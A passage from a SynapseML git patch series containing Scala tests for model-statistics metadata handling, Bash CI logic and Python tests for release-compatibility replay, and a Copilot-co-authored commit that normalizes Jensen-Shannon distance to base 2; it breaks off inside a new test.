val withUnrelatedModel = addScoredModelMetadata( + input, unrelatedModel, unrelatedLabel, SchemaConstants.ClassificationKind) + val scored = addScoredModelMetadata( + withUnrelatedModel, wrongKindModel, selectedLabel, SchemaConstants.RegressionKind) + + val result = new ComputeModelStatistics() + .setLabelCol(selectedLabel) + .setScoredLabelsCol(selectedPrediction) + .setEvaluationMetric(MetricConstants.AccuracySparkMetric) + .transform(scored) + + assert(result.first().getAs[Double](MetricConstants.AccuracyColumnName) === 1.0) + } + + test("Multiple complete scored-model metadata candidates fail deterministically") { + val modelA = SchemaConstants.ScoreModelPrefix + "_a" + val modelB = SchemaConstants.ScoreModelPrefix + "_b" + val labelA = "labelA" + val labelB = "labelB" + val input = spark.createDataFrame(Seq((0.0, 1.0, 0.0))) + .toDF(labelA, labelB, SchemaConstants.SparkPredictionColumn) + val withModelB = addScoredModelMetadata( + input, modelB, labelB, SchemaConstants.ClassificationKind) + val withBothModels = addScoredModelMetadata( + withModelB, modelA, labelA, SchemaConstants.RegressionKind) + + val error = intercept[IllegalArgumentException] { + new ComputeModelStatistics().transformSchema(withBothModels.schema) + } + val expectedCandidates = + s"[$modelA (label=$labelA, kind=${SchemaConstants.RegressionKind}, " + + s"prediction=${SchemaConstants.SparkPredictionColumn}), " + + s"$modelB (label=$labelB, kind=${SchemaConstants.ClassificationKind}, " + + s"prediction=${SchemaConstants.SparkPredictionColumn})]" + assert(error.getMessage.contains(expectedCandidates)) + assert(error.getMessage.contains("Set labelCol and evaluationMetric")) + } + test("Explicit evaluation metric omits irrelevant all-metrics hint when labelCol is missing") { + val input = spark.createDataFrame(Seq((0.0, 1.0))).toDF("label", "feature") + val error = intercept[IllegalArgumentException] { + new ComputeModelStatistics() + .setEvaluationMetric(MetricConstants.RegressionMetricsName) + .transformSchema(input.schema) + } + assert(error.getMessage.contains("Set labelCol, or score the dataset")) + assert(!error.getMessage.contains( + s"evaluationMetric must not be '${MetricConstants.AllSparkMetrics}'")) + } + + test("Missing default score column produces an actionable error") { + val label = "label" + val input = spark.createDataFrame(Seq((0.0, 1.0), (1.0, 2.0))).toDF(label, "feature") + val error = intercept[IllegalArgumentException] { + new ComputeModelStatistics() + .setLabelCol(label) + .setEvaluationMetric(MetricConstants.RegressionMetricsName) + .transform(input) + } + assert(error.getMessage.contains("regression prediction/score column ")) + assert(error.getMessage.contains("setScoresCol")) + assert(error.getMessage.contains("Available columns: [feature, label]")) + } + + test("Invalid explicit scores column fails only for score-consuming metrics") { + val label = "label" + val prediction = "selectedPrediction" + val input = spark.createDataFrame(Seq((0.0, 0.0), (1.0, 1.0))).toDF(label, prediction) + val statistics = new ComputeModelStatistics() + .setLabelCol(label) + .setScoredLabelsCol(prediction) + .setScoresCol("missingScore") + val accuracy = statistics + .setEvaluationMetric(MetricConstants.AccuracySparkMetric) + .transform(input) + .first() + .getAs[Double](MetricConstants.AccuracyColumnName) + assert(accuracy === 1.0) + val error = intercept[IllegalArgumentException] { + statistics + .setEvaluationMetric(MetricConstants.AucSparkMetric) + .transform(input) + } + assert(error.getMessage.contains("classification score column 'missingScore'")) + assert(error.getMessage.contains("setScoresCol")) + assert(error.getMessage.contains("Available columns: [label, selectedPrediction]")) + } + test("Single complete scored-model metadata remains supported") { + val modelName = SchemaConstants.ScoreModelPrefix + "_single" + val label = "label" + val input = spark.createDataFrame(Seq((0.0, 0.0), (1.0, 1.0))) + .toDF(label, SchemaConstants.SparkPredictionColumn) + val scored = addScoredModelMetadata(input, modelName, label, SchemaConstants.RegressionKind) + val evaluator = new ComputeModelStatistics() + .setLabelCol(label.toUpperCase) + .setEvaluationMetric(MetricConstants.RegressionMetricsName) + val activeSession = SparkSession.getActiveSession + val defaultSession = SparkSession.getDefaultSession + SparkSession.clearActiveSession() + SparkSession.setDefaultSession(spark) + try assert(evaluator.transformSchema(scored.schema).fieldNames.contains(MetricConstants.MseColumnName)) + finally { + activeSession.fold(SparkSession.clearActiveSession())(SparkSession.setActiveSession) + defaultSession.fold(SparkSession.clearDefaultSession())(SparkSession.setDefaultSession) + } + val result = evaluator.transform(scored) + assert(result.first().getAs[Double](MetricConstants.MseColumnName) === 0.0) + } + + test("Equivalent complete model metadata is de-duplicated deterministically") { + val modelA = SchemaConstants.ScoreModelPrefix + "_duplicate_a" + val modelB = SchemaConstants.ScoreModelPrefix + "_duplicate_b" + val label = "label" + val input = spark.createDataFrame(Seq((0.0, 0.0), (1.0, 1.0))) + .toDF(label, SchemaConstants.SparkPredictionColumn) + val withModelB = addScoredModelMetadata(input, modelB, label, SchemaConstants.RegressionKind) + val withDuplicates = addScoredModelMetadata(withModelB, modelA, label, SchemaConstants.RegressionKind) + val result = new ComputeModelStatistics().transform(withDuplicates) + assert(result.first().getAs[Double](MetricConstants.MseColumnName) === 0.0) + } + + test("Conflicting prediction metadata fails independently of schema column order") { + val model = SchemaConstants.ScoreModelPrefix + "_conflicting" + val label = "label" + val predictionA = "predictionA" + val predictionB = "predictionB" + val input = spark.createDataFrame(Seq((0.0, 0.0, 0.0), (1.0, 1.0, 1.0))) + .toDF(label, predictionA, predictionB) + val withLabel = SparkSchema.setLabelColumnName(input, model, label, SchemaConstants.RegressionKind) + val withPredictionA = addScoreColumnMetadata( + withLabel, model, predictionA, SchemaConstants.SparkPredictionColumn, SchemaConstants.RegressionKind) + val conflicting = addScoreColumnMetadata( + withPredictionA, model, predictionB, SchemaConstants.SparkPredictionColumn, SchemaConstants.RegressionKind) + val schemas = Seq( + conflicting.schema, + conflicting.select(col(predictionB), col(label), col(predictionA)).schema) + + val messages = schemas.map { schema => + intercept[IllegalArgumentException] { + new ComputeModelStatistics().transformSchema(schema) + }.getMessage + } + + assert(messages.distinct.size === 1) + assert(messages.head.indexOf(s"prediction=$predictionA") < messages.head.indexOf(s"prediction=$predictionB")) + } + + test("Complete explicit settings override ambiguous scored-model metadata") { + val label = "label" + val selectedPrediction = "selectedPrediction" + val metadataPredictionA = "metadataPredictionA" + val metadataPredictionB = "metadataPredictionB" + val input = spark.createDataFrame(Seq( + (0.0, 0.0, 1.0, 1.0), + (1.0, 1.0, 0.0, 0.0))) + .toDF(label, selectedPrediction, metadataPredictionA, metadataPredictionB) + val modelA = SchemaConstants.ScoreModelPrefix + "_explicit_a" + val modelB = SchemaConstants.ScoreModelPrefix + "_explicit_b" + val withModelALabel = SparkSchema.setLabelColumnName( + input, modelA, label, SchemaConstants.ClassificationKind) + val withModelA = addScoreColumnMetadata( + withModelALabel, modelA, metadataPredictionA, + SchemaConstants.SparkPredictionColumn, SchemaConstants.ClassificationKind) + val withModelBLabel = SparkSchema.setLabelColumnName( + withModelA, modelB, label, SchemaConstants.ClassificationKind) + val ambiguous = addScoreColumnMetadata( + withModelBLabel, modelB, metadataPredictionB, + SchemaConstants.SparkPredictionColumn, SchemaConstants.ClassificationKind) + + val evaluator = new ComputeModelStatistics() + .setLabelCol(label.toUpperCase) + .setScoredLabelsCol(selectedPrediction) + .setEvaluationMetric(MetricConstants.AccuracySparkMetric) + val result = evaluator.transform(ambiguous) + assert(evaluator.transformSchema(ambiguous.schema).fieldNames.contains(MetricConstants.AccuracyColumnName)) + assert(result.first().getAs[Double](MetricConstants.AccuracyColumnName) === 1.0) + } + + test("Duplicate raw-score metadata is rejected only when the metric consumes it") { + val model = SchemaConstants.ScoreModelPrefix + "_duplicate_raw" + val input = spark.createDataFrame(Seq( + (0.0, 0.0, 0.2, 0.3), + (1.0, 1.0, 0.8, 0.7))).toDF("label", "prediction", "rawA", "rawB") + val withLabel = SparkSchema.setLabelColumnName( + input, model, "label", SchemaConstants.ClassificationKind) + val withPrediction = addScoreColumnMetadata( + withLabel, model, "prediction", + SchemaConstants.SparkPredictionColumn, SchemaConstants.ClassificationKind) + val withRawA = addScoreColumnMetadata( + withPrediction, model, "rawA", + SchemaConstants.SparkRawPredictionColumn, SchemaConstants.ClassificationKind) + val scored = addScoreColumnMetadata( + withRawA, model, "rawB", + SchemaConstants.SparkRawPredictionColumn, SchemaConstants.ClassificationKind) + + val accuracy = new ComputeModelStatistics() + .setEvaluationMetric(MetricConstants.AccuracySparkMetric) + .transform(scored) + assert(accuracy.first().getAs[Double](MetricConstants.AccuracyColumnName) === 1.0) + + val error = intercept[IllegalArgumentException] { + new ComputeModelStatistics().setEvaluationMetric(MetricConstants.AucSparkMetric).transform(scored) + } + assert(error.getMessage.contains("rawPrediction columns [rawA:Classification, rawB:Classification]")) + } + + test("Copy and pipeline preserve explicit statistics parameters") { + val label = "label" + val prediction = "selectedPrediction" + val input = spark.createDataFrame(Seq((0.0, 0.0), (1.0, 1.0))).toDF(label, prediction) + val configured = new ComputeModelStatistics() + .setLabelCol(label.toUpperCase) + .setScoresCol(prediction.toUpperCase) + .setEvaluationMetric(MetricConstants.MseSparkMetric) + val copied = configured.copy(ParamMap.empty).asInstanceOf[ComputeModelStatistics] + + assert(copied.uid === configured.uid) + assert(copied.getLabelCol === label.toUpperCase) + assert(copied.getScoresCol === prediction.toUpperCase) + assert(copied.getEvaluationMetric === MetricConstants.MseSparkMetric) + + val pipelineResult = new Pipeline() + .setStages(Array(configured)) + .fit(input) + .transform(input) + assert(pipelineResult.first().getAs[Double](MetricConstants.MseColumnName) === 0.0) + } + test("Verify multiclass evaluation is not slow for large number of labels") { val numRows = 4096 import spark.implicits._ diff --git a/pipeline.yaml b/pipeline.yaml index ee61286a746..62145afdb42 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1132,12 +1132,41 @@ jobs: path="$REMAINING_PATHS" HAS_MORE_PATHS=false fi + PATH_SELECTED=false for REPLAY_PATH in "${REPLAY_PATHS[@]}"; do if [ "$path" = "$REPLAY_PATH" ]; then PREREQUISITE_PATHS+=("$path") + PATH_SELECTED=true break fi done + if [ "$PATH_SELECTED" = false ]; then + for ((later_index=index + 1; + later_index<${#CONFIGURED_PREREQUISITES[@]}; + later_index++)); do + if [ "${CONFIGURED_PREREQUISITE_IS_SCOPED[$later_index]}" = false ]; then + LATER_PREREQUISITE="${CONFIGURED_PREREQUISITES[$later_index]}" + if ! LATER_PARENT=$(git rev-parse "$LATER_PREREQUISITE^1" 2>/dev/null); then + echo "##vso[task.logissue type=error]Dependent release compatibility prerequisite $LATER_PREREQUISITE has no first parent" + exit 1 + fi + if git diff --quiet "$LATER_PARENT" "$LATER_PREREQUISITE" -- \ + ":(literal)$path"; then + : + else + DIFF_STATUS=$? + if [ "$DIFF_STATUS" -ne 1 ]; then + echo "##vso[task.logissue type=error]Unable to inspect dependent prerequisite $LATER_PREREQUISITE for path: $path" + exit 1 + fi + echo "Scoped prerequisite $PREREQUISITE path $path is required by later prerequisite $LATER_PREREQUISITE" + PREREQUISITE_PATHS+=("$path") + PATH_SELECTED=true + break + fi + fi + done + fi if [ "$HAS_MORE_PATHS" = false ]; then break fi @@ -1184,12 +1213,36 @@ jobs: echo "##vso[task.logissue type=error]Scoped prerequisite path is not a blob: $path" exit 1 fi - if ! TARGET_BLOB=$(git rev-parse "$TARGET_HEAD:$path" 2>/dev/null); then - echo "##vso[task.logissue type=error]Scoped path is absent from PR target $TARGET_HEAD: $path" + BASELINE_COMMIT="$TARGET_HEAD" + for ((later_index=index + 1; + later_index<${#CONFIGURED_PREREQUISITES[@]}; + later_index++)); do + if [ "${CONFIGURED_PREREQUISITE_IS_SCOPED[$later_index]}" = false ]; then + LATER_PREREQUISITE="${CONFIGURED_PREREQUISITES[$later_index]}" + if ! LATER_PARENT=$(git rev-parse "$LATER_PREREQUISITE^1" 2>/dev/null); then + echo "##vso[task.logissue type=error]Dependent release compatibility prerequisite $LATER_PREREQUISITE has no first parent" + exit 1 + fi + if git diff --quiet "$LATER_PARENT" "$LATER_PREREQUISITE" -- \ + ":(literal)$path"; then + : + else + DIFF_STATUS=$? + if [ "$DIFF_STATUS" -ne 1 ]; then + echo "##vso[task.logissue type=error]Unable to inspect dependent prerequisite $LATER_PREREQUISITE for path: $path" + exit 1 + fi + BASELINE_COMMIT="$LATER_PARENT" + break + fi + fi + done + if ! BASELINE_BLOB=$(git rev-parse "$BASELINE_COMMIT:$path" 2>/dev/null); then + echo "##vso[task.logissue type=error]Scoped path is absent from expected baseline $BASELINE_COMMIT: $path" exit 1 fi - if [ "$PREREQUISITE_BLOB" != "$TARGET_BLOB" ]; then - echo "##vso[task.logissue type=error]Scoped prerequisite blob does not match the PR target baseline: $path" + if [ "$PREREQUISITE_BLOB" != "$BASELINE_BLOB" ]; then + echo "##vso[task.logissue type=error]Scoped prerequisite blob does not match expected baseline $BASELINE_COMMIT: $path" exit 1 fi PREREQUISITE_PATHSPECS+=(":(literal)$path") @@ -1227,6 +1280,7 @@ jobs: echo "=== Attempting to apply release-relevant PR changes onto $(RELEASE_BRANCH) ===" git checkout --detach $RELEASE_TIP + git reset --hard $RELEASE_TIP git update-index --refresh for index in "${!PREREQUISITE_COMMITS[@]}"; do PREREQUISITE="${PREREQUISITE_COMMITS[$index]}" diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index 3ac7f3635b8..e14659fd63b 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -367,12 +367,25 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert 'git diff --quiet "$PREREQUISITE_PARENT" "$PREREQUISITE" --' in rebase_script assert 'git cat-file -e "$PREREQUISITE_PARENT:$path"' in rebase_script assert 'git rev-parse "$PREREQUISITE:$path"' in rebase_script - assert 'git rev-parse "$TARGET_HEAD:$path"' in rebase_script - assert '[ "$PREREQUISITE_BLOB" != "$TARGET_BLOB" ]' in rebase_script + assert 'BASELINE_COMMIT="$TARGET_HEAD"' in rebase_script + assert 'git rev-parse "$BASELINE_COMMIT:$path"' in rebase_script + assert '[ "$PREREQUISITE_BLOB" != "$BASELINE_BLOB" ]' in rebase_script assert '":(literal)$path"' in rebase_script assert '"${PREREQUISITE_PATHSPECS[@]}"' in rebase_script assert "eval " not in rebase_script assert 'git rev-parse "$PREREQUISITE^1"' in rebase_script + guarded_dependent_parent = ( + 'if ! LATER_PARENT=$(git rev-parse "$LATER_PREREQUISITE^1" ' + "2>/dev/null); then" + ) + assert rebase_script.count(guarded_dependent_parent) == 2 + assert ( + rebase_script.count( + "Dependent release compatibility prerequisite " + "$LATER_PREREQUISITE has no first parent" + ) + == 2 + ) assert ( 'git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE"' in rebase_script @@ -387,6 +400,7 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): in rebase_script ) assert "git checkout --detach $RELEASE_TIP" in rebase_script + assert "git reset --hard $RELEASE_TIP" in rebase_script assert 'git apply --reverse --check --index "$PREREQUISITE_PATCH"' in rebase_script assert 'git apply --3way --index "$PREREQUISITE_PATCH"' in rebase_script assert 'git apply --3way --index "$PATCH_PATH"' in rebase_script @@ -872,6 +886,171 @@ def test_release_compat_skips_scoped_prerequisite_for_unrelated_pr_path(): shutil.rmtree(scratch_root, ignore_errors=True) +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +def test_release_compat_replays_scoped_baseline_for_later_prerequisite(): + scratch_root = REPO_ROOT / "target" / f"release-compat-dependent-{uuid.uuid4().hex}" + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + pr_file = repo / "src" / "pr.txt" + pr_file.parent.mkdir() + pr_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + scoped_file = repo / "src" / "scoped.txt" + scoped_file.write_text("target baseline\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "add scoped baseline") + scoped_prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + scoped_file.write_text("dependent prerequisite\n") + _git(repo, "commit", "-am", "modify scoped baseline") + dependent_prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_text( + f"{scoped_prerequisite}\tsrc/scoped.txt\n{dependent_prerequisite}\n" + ) + pr_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature modifies unrelated file") + + _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert result.returncode == 0, ( + f"dependent release replay failed\nstdout:\n{result.stdout}\n" + f"stderr:\n{result.stderr}" + ) + assert pr_file.read_text() == "pull request change\n" + assert scoped_file.read_text() == "dependent prerequisite\n" + assert _git(repo, "diff", "--cached", "--name-only").stdout.splitlines() == [ + "src/pr.txt", + "src/scoped.txt", + ] + assert ( + f"Scoped prerequisite {scoped_prerequisite} path src/scoped.txt " + f"is required by later prerequisite {dependent_prerequisite}" + in result.stdout + ) + assert "PR changes apply cleanly onto release" in result.stdout + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + +@pytest.mark.parametrize("modify_scoped_path", [False, True]) +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +def test_release_compat_reports_dependent_prerequisite_without_parent( + modify_scoped_path, +): + scratch_root = ( + REPO_ROOT + / "target" + / (f"release-compat-parent-{modify_scoped_path}-{uuid.uuid4().hex}") + ) + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + base_file = repo / "src" / "base.txt" + base_file.parent.mkdir() + base_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "root base") + root_prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", root_prerequisite) + + scoped_file = repo / "src" / "scoped.txt" + scoped_file.write_text("scoped baseline\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "add scoped baseline") + scoped_prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_text( + f"{scoped_prerequisite}\tsrc/scoped.txt\n{root_prerequisite}\n" + ) + if modify_scoped_path: + scoped_file.write_text("pull request change\n") + else: + pr_file = repo / "src" / "pr.txt" + pr_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature change") + + _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert result.returncode == 1 + assert ( + "##vso[task.logissue type=error]Dependent release compatibility " + f"prerequisite {root_prerequisite} has no first parent" in result.stdout + ) + assert "fatal:" not in result.stderr + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + @pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") def test_release_compat_replays_only_partial_scoped_path_intersection(): scratch_root = REPO_ROOT / "target" / f"release-compat-partial-{uuid.uuid4().hex}" From 0e46d12907a9ed55c483990c6047962b73e1a9c4 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 17 Aug 2026 01:16:09 -0700 Subject: [PATCH 89/93] fix: normalize Jensen-Shannon distance to unit range (#2631) * fix: normalize Jensen-Shannon distance to unit range ## Summary Normalize only Jensen-Shannon distance to base-2 units so its documented endpoints are exact: identical distributions produce 0 and disjoint distributions produce 1. Preserve natural-log KL divergence and every public API, add cancellation protection near zero, expand numerical regression coverage, and refresh the data-balance documentation and sample values. ## Prompting Intent Own GitHub issue #2006 end-to-end with an isolated numerical correction. Trace formulas, documentation, and tests; preserve unrelated relative-entropy metrics and API behavior; test endpoints, symmetric intermediate cases, symmetry, bounds, zero handling, and unchanged metrics; validate with JDK 11 guarded SBT commands and project code review; address PR checks and review comments. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/2006 - Pull request review: https://github.com/microsoft/SynapseML/pull/2631 - Data Balance Analysis docs: docs/Explore Algorithms/Responsible AI/Data Balance Analysis.md - Sample notebook: docs/Explore Algorithms/Responsible AI/Quickstart - Data Balance Analysis.ipynb - Independent code review: no significant findings ## Rationale Divide Jensen-Shannon divergence by ln(2) at the JS call site rather than changing the shared natural-log entropy helper. This is mathematically equivalent to base-2 relative entropy while explicitly preventing changes to KL divergence and other metrics. Clamp only tiny negative JS divergence caused by floating-point cancellation before the square root, preserving valid values and avoiding NaN near the lower bound. Keep endpoint tolerances tight enough to verify the mathematical result without relying on cross-platform bitwise floating-point equality. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test(core): harden Jensen-Shannon distance coverage ## Summary Strengthen Jensen-Shannon distance verification with exact-value, symmetry, normalization, cancellation, zero-support, bounds, schema, and end-to-end assertions. Clarify the mathematical domain and smoothing semantics in the docs, and remove a stale chart whose embedded values used the old natural-log scale. ## Prompting Intent Independently make GitHub PR microsoft/SynapseML#2631 merge-ready by auditing its full mathematical and runtime behavior, API compatibility, edge cases, related PR #2630 interactions, review feedback, checks, generated bindings, Spark compatibility, and downstream documentation. Fix every valid issue without bundling the separate reference-support implementation. ## Linked Sources - GitHub issue #2006: https://github.com/microsoft/SynapseML/issues/2006 - Pull request #2631: https://github.com/microsoft/SynapseML/pull/2631 - Related reference-support pull request #2630: https://github.com/microsoft/SynapseML/pull/2630 - Copilot review feedback: https://github.com/microsoft/SynapseML/pull/2631#pullrequestreview-4941174045 - Jensen-Shannon definition: https://en.wikipedia.org/wiki/Jensen%E2%80%93Shannon_divergence ## Rationale Keep the production correction narrowly scoped to dividing Jensen-Shannon divergence by ln(2), preserving natural-log KL divergence and all public APIs. Use independently calculated constants and tolerant assertions to validate semantics across Spark/JVM versions. Document that the unit bound assumes valid probability distributions and that midpoint mixing, not additive smoothing, handles zero support. Leave reference-only category materialization and custom-distribution validation to #2630 to avoid duplicating unrelated work. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * review(core): clarify Jensen-Shannon test fixtures and docs ## Summary Address the latest automated review by using explicit unused count values in the JS-distance expression fixture and rewriting the sample interpretation relative to the uniform reference distribution with corrected wording. ## Prompting Intent Resolve every valid active review comment on GitHub PR microsoft/SynapseML#2631, preserve the strong normalized-distance coverage, and keep the documentation mathematically consistent before rerunning required checks. ## Linked Sources - Pull request #2631: https://github.com/microsoft/SynapseML/pull/2631 - Count-fixture review comment: https://github.com/microsoft/SynapseML/pull/2631#discussion_r3791354417 - Notebook wording review comment: https://github.com/microsoft/SynapseML/pull/2631#discussion_r3791354439 ## Rationale Counts are not read by the private JS-distance expression, so explicit zero placeholders communicate that fact without pretending probabilities are counts. The notebook now compares observed data directly with the configured uniform reference rather than using ambiguous balance terminology. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs(core): remove JS distance table padding ## Summary Compact the JS Distance markdown row so the corrected mathematical description remains easy to review and edit without large whitespace-only spans. ## Prompting Intent Audit and address suppressed as well as active review feedback on GitHub PR microsoft/SynapseML#2631 before declaring the change ready. ## Linked Sources - Pull request #2631: https://github.com/microsoft/SynapseML/pull/2631 - Final Copilot review with suppressed feedback: https://github.com/microsoft/SynapseML/pull/2631#pullrequestreview-4945817800 ## Rationale Markdown tables do not require visual source alignment. Removing cell padding preserves rendered output while preventing noisy future diffs and directly addresses the suppressed review finding. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../DistributionBalanceMeasure.scala | 6 +- .../ml/exploratory/DataBalanceTestBase.scala | 3 +- .../DistributionBalanceMeasureSuite.scala | 110 ++++++++++++++++-- .../Responsible AI/Data Balance Analysis.md | 2 +- .../Quickstart - Data Balance Analysis.ipynb | 12 +- 5 files changed, 114 insertions(+), 19 deletions(-) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasure.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasure.scala index 190f7e8ca2d..6969832c4d4 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasure.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasure.scala @@ -239,7 +239,11 @@ private[exploratory] case class DistributionMetrics(numFeatures: Int, val averageObsRef = (col(obsFeatureProbCol) + col(refFeatureProbCol)) / 2d val entropyObsAvg = entropy(col(obsFeatureProbCol), Some(averageObsRef)) val entropyRefAvg = entropy(col(refFeatureProbCol), Some(averageObsRef)) - sqrt((entropyRefAvg + entropyObsAvg) / 2d) + // Keep KL divergence in natural-log units while normalizing only JS divergence to base 2. + val jsDivergenceBase2 = (entropyRefAvg + entropyObsAvg) / (2d * math.log(2d)) + // Floating-point aggregation can make a theoretically non-negative divergence slightly negative. + val nonNegativeJsDivergence = when(jsDivergenceBase2 < 0d, lit(0d)).otherwise(jsDivergenceBase2) + sqrt(nonNegativeJsDivergence) } def infNormDistance: Column = max(absDiffObsRef) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DataBalanceTestBase.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DataBalanceTestBase.scala index 6c18937c058..bf6d073ef2b 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DataBalanceTestBase.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DataBalanceTestBase.scala @@ -120,7 +120,8 @@ case class DistributionMetricsCalculator(refFeatureProbabilities: Array[Double], val averageObsRef = (obsFeatureProbabilities, refFeatureProbabilities).zipped.map((a, b) => (a + b) / 2d) val entropyRefAvg = entropy(refFeatureProbabilities, Some(averageObsRef)) val entropyObsAvg = entropy(obsFeatureProbabilities, Some(averageObsRef)) - sqrt((entropyRefAvg + entropyObsAvg) / 2d) + val jsDivergenceBase2 = (entropyRefAvg + entropyObsAvg) / (2d * log(2d)) + sqrt(math.max(0d, jsDivergenceBase2)) } val infNormDistance: Double = absDiffObsRef.max val totalVariationDistance: Double = 0.5d * absDiffObsRef.sum diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasureSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasureSuite.scala index bd8ff485029..a1c71274c55 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasureSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/exploratory/DistributionBalanceMeasureSuite.scala @@ -5,7 +5,7 @@ package com.microsoft.azure.synapse.ml.exploratory import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} import org.apache.spark.ml.util.MLReadable -import org.apache.spark.sql.DataFrame +import org.apache.spark.sql.{DataFrame, Row} import org.apache.spark.sql.functions.{array, col} class DistributionBalanceMeasureSuite extends DataBalanceTestBase with TransformerFuzzing[DistributionBalanceMeasure] { @@ -19,6 +19,8 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform import DistributionMetrics._ import spark.implicits._ + private val jsDistanceTolerance = 1e-12 + private def distributionBalanceMeasure: DistributionBalanceMeasure = new DistributionBalanceMeasure() .setSensitiveCols(features) @@ -36,6 +38,94 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform .setVerbose(true) .transform(sensitiveFeaturesDf) + private def jsDistance(observed: Seq[Double], reference: Seq[Double]): Double = { + require(observed.nonEmpty) + require(observed.length == reference.length) + Seq(observed, reference).foreach { distribution => + require(distribution.forall(probability => java.lang.Double.isFinite(probability) && probability >= 0d)) + require(math.abs(distribution.sum - 1d) <= jsDistanceTolerance) + } + val observedProbabilityCol = "observedProbability" + val referenceProbabilityCol = "referenceProbability" + val observedCountCol = "observedCount" + val referenceCountCol = "referenceCount" + val unusedCount = 0d + val probabilities = observed.zip(reference) + .map { case (observedProbability, referenceProbability) => + (observedProbability, referenceProbability, unusedCount, unusedCount) + } + .toDF(observedProbabilityCol, referenceProbabilityCol, observedCountCol, referenceCountCol) + val metrics = DistributionMetrics( + observed.length, + observedProbabilityCol, + observedCountCol, + referenceProbabilityCol, + referenceCountCol) + + probabilities.agg(metrics.jsDistance.alias(JSDISTANCE)).head().getAs[Double](JSDISTANCE) + } + + private def assertJsDistance(actual: Double, expected: Double): Unit = { + assert(!actual.isNaN) + assert(math.abs(actual - expected) <= jsDistanceTolerance) + } + + test("Jensen-Shannon distance has normalized endpoints and handles zero-probability support") { + assertJsDistance(jsDistance(Seq(0.5d, 0.5d), 